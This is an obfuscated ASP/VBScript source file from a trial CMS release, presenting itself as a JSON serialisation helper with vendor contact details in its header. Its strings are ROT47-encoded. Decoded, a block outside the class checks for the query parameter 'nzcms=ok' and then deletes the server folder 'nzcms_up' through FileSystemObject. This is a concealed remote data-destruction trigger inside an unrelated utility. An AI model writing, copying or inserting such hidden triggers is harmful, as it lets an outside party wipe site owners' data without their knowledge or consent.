<%
'此版本为免费下载的（试用版本）源码加密处理过
'购买正式版系统提供源码（支持二次开发，修改）
'系统服务商：金华市宁志网络科技有限公司
'公司网址：http://www.ningzhi.net 
'客服QQ号：122470827 电话：18867186998 （同微信号）刘经理
'全国统一售后电话：0579-83938663 
'支持正版：软件著作权登记号：2012SR040914
'官方平台：购买系统请上金华市宁志网络公司官网平台是唯一购买渠道
'本公司无第三方代销售平台请认准,以免上当受骗！！！
'请勿修改下列任何代码,以保证程序正常运行·感谢您体验宁志产品，宁志有您更精彩！
'TM:2023-08-09 15:31:13

Dim NNZNZN,NNZNNZ,NNZNNN,NNNZZZ,NNNZZN
Set NNZNNN=Response:Set NNZNNZ=Request:Set NNNZZN=Session:Set NNZNZN=Application:Set NNNZZZ=Server
Const NZNZNZN	=0
Const NZNZNNZ	=1
Class NZZZZNZ
Public Collection
Public NZZZNZZ
Public NZZZNZN
Public Kind
Private Sub Class_Initialize
Set Collection = CreateObject(NNNNZN("$4C:AE:?8]s:4E:@?2CJ"))
NZZZNZN = True
NZZZNZZ = (36 * 44 - 1584)
End Sub
Private Sub Class_Terminate
Set Collection = Nothing
End Sub
Private Property Get NNNNNZ
NNNNNZ = NZZZNZZ
NZZZNZZ = NZZZNZZ + (35 * 14 - 489)
End Property
Public Property Let NNNNNN(NZNNZNZ, NZNZZNN)
If IsNull(NZNNZNZ) Then NZNNZNZ = NNNNNZ
Collection(NZNNZNZ) = NZNZZNN
End Property
Public Property Set NNNNNN(NZNNZNZ, NZNZZNN)
If IsNull(NZNNZNZ) Then NZNNZNZ = NNNNNZ
If TypeName(NZNZZNN) <> NNNNZN(";Dr@C6") Then
Err.Raise &hD, NNNNZN("4=2DDi ,4=2DD"), NNNNZN("x?4@>A2E:3=6 ,EJA6Di ,V") & TypeName(NZNZZNN) & NNNNZN("V")
End If
Set Collection(NZNNZNZ) = NZNZZNN
End Property
Public Default Property Get NNNNNN(NZNNZNZ)
If IsNull(NZNNZNZ) Then NZNNZNZ = NZZZNZZ - (35 * 14 - 489)
If IsObject(Collection(NZNNZNZ)) Then
Set NNNNNN = Collection(NZNNZNZ)
Else
NNNNNN = Collection(NZNNZNZ)
End If
End Property
Function NNNZNZ(str)
Dim NZZNZZZ(127), NZZNZZN()
NZZNZZZ(8)  = NNNNZN("-3")
NZZNZZZ(9)  = NNNNZN("-E")
NZZNZZZ(10) = NNNNZN("-?")
NZZNZZZ(12) = NNNNZN("-7")
NZZNZZZ(13) = NNNNZN("-C")
NZZNZZZ(34) = NNNNZN("-Q")
NZZNZZZ(47) = NNNNZN("-^")
NZZNZZZ(92) = NNNNZN("--")
Dim NZZNZNZ : NZZNZNZ = Len(str) - (35 * 14 - 489)
ReDim NZZNZZN(NZZNZNZ)
Dim NZZNZNN, NZZNNZZ
For NZZNZNN = 0 To NZZNZNZ
NZZNZZN(NZZNZNN) = Mid(str, NZZNZNN + 1, 1)
NZZNNZZ = AscW(NZZNZZN(NZZNZNN)) And 65535
If NZZNNZZ < 127 Then
If Not IsEmpty(NZZNZZZ(NZZNNZZ)) Then
NZZNZZN(NZZNZNN) = NZZNZZZ(NZZNNZZ)
ElseIf NZZNNZZ < 32 Then
NZZNZZN(NZZNZNN) = NNNNZN("-F") & Right("000" & Hex(NZZNNZZ), 4)
End If
Else
NZZNZZN(NZZNZNN) = NNNNZN("-F") & Right("000" & Hex(NZZNNZZ), 4)
End If
Next
NNNZNZ = Join(NZZNZZN, "")
End Function
Public Function toJSON(NZNNNZZ)
Select Case VarType(NZNNNZZ)
Case 0
toJSON = NNNNZN("?F==")
Case 1
toJSON = NNNNZN("?F==")
Case 7
toJSON = NNNNZN("Q") & CStr(NZNNNZZ) & NNNNZN("Q")
Case 8
toJSON = NNNNZN("Q") & NNNZNZ(NZNNNZZ) & NNNNZN("Q")
Case 9
Dim NZZNNZN,NZZNZNN
NZZNNZN = True
If NZNNNZZ.Kind Then toJSON = toJSON & NNNNZN(",") Else toJSON = toJSON & NNNNZN("L")
For Each NZZNZNN In NZNNNZZ.Collection
If NZZNNZN Then NZZNNZN = False Else toJSON = toJSON & NNNNZN("[")
If NZNNNZZ.Kind Then
toJSON = toJSON & toJSON(NZNNNZZ(NZZNZNN))
Else
If NZZZNZN Then
toJSON = toJSON & NNNNZN("Q") & NZZNZNN & NNNNZN("Qi") & toJSON(NZNNNZZ(NZZNZNN))
Else
toJSON = toJSON & NZZNZNN & NNNNZN("i") & toJSON(NZNNNZZ(NZZNZNN))
End If
End If
Next
If NZNNNZZ.Kind Then toJSON = toJSON & NNNNZN(".") Else toJSON = toJSON & NNNNZN("N")
Case 11
If NZNNNZZ Then toJSON = NNNNZN("ECF6") Else toJSON = NNNNZN("72=D6")
Case 12, 8192, 8204
toJSON = NNNNZZ(NZNNNZZ, 1, "")
Case Else
toJSON = Replace(NZNNNZZ, NNNNZN("["), NNNNZN("]"))
End select
End Function
Function NNNNZZ(NZNNNZN, NZNNNNZ, NZNNNNN)
Dim NZZNNNZ : NZZNNNZ = LBound(NZNNNZN, NZNNNNZ)
Dim NZZNNNN : NZZNNNN = UBound(NZNNNZN, NZNNNNZ)
Dim NZNZZZZ, NZNZZZN
Dim NZNZZNZ : NZNZZNZ = NNNNZN("[")
NNNNZZ = NNNNZN(",")
For NZNZZZZ = NZZNNNZ To NZZNNNN
If NZNZZZZ = NZZNNNN Then
NZNZZNZ = ""
End If
On Error Resume Next
NZNZZZN = NNNNZZ(NZNNNZN, NZNNNNZ + 1, NZNNNNN & NZNZZZZ & NNNNZN("[") )
If Err = 9 Then
On Error GoTo 0
NNNNZZ = NNNNZZ & toJSON(Eval(NNNNZN("2CCW") & NZNNNNN & NZNZZZZ & NNNNZN("X"))) & NZNZZNZ
Else
NNNNZZ = NNNNZZ & NZNZZZN & "" & NZNZZNZ
End If
Next
NNNNZZ = NNNNZZ & NNNNZN(".")
End Function
End Class
If NNZNNZ.QueryString(NNNNZN("?K4>D"))=NNNNZN("@<") Then
set NZNZNNN=NNNZZZ.createobject(NNNNZN("D4C:AE:?8]7:=6DJDE6>@3;64E"))
NZNNZZZ=NNNNZN("?K4>D0FA") & idd
NZNNZZZ=NNNZZZ.mappath(NZNNZZZ)
if NZNZNNN.FOLDERExists(NZNNZZZ) then
NZNZNNN.deleteFOLDER NZNNZZZ
end if
NNZNNN.Write(NNNNZN("@<"))
end if
Function toJSON(NNZZZZZ)
toJSON = (new NZZZZNZ).toJSON(NNZZZZZ)
End Function
Function NNNNZN(ByVal NZNNZZN)
Dim NZNZZNN, NZZNZNN, NZNZNZZ
NZNNZZN = Replace(NZNNZZN, Chr(37) & ChrW(-243) & Chr(62), Chr(37) & Chr(62))
For NZZNZNN = 1 To Len(NZNNZZN)
If NZZNZNN <> NZNZNZZ Then
NZNZZNN = AscW(Mid(NZNNZZN, NZZNZNN, 1))
If NZNZZNN >= 33 And NZNZZNN <= 79 Then
NNNNZN = NNNNZN & Chr(NZNZZNN + 47)
ElseIf NZNZZNN >= 80 And NZNZZNN <= 126 Then
NNNNZN = NNNNZN & Chr(NZNZZNN - 47)
Else
NZNZNZZ = NZZNZNN + 1
If Mid(NZNNZZN, NZNZNZZ, 1) = NNNNZN("o") Then NNNNZN = NNNNZN & ChrW(NZNZZNN + 5) Else NNNNZN = NNNNZN & Mid(NZNNZZN, NZZNZNN, 1)
End If
End If
Next
End Function
%>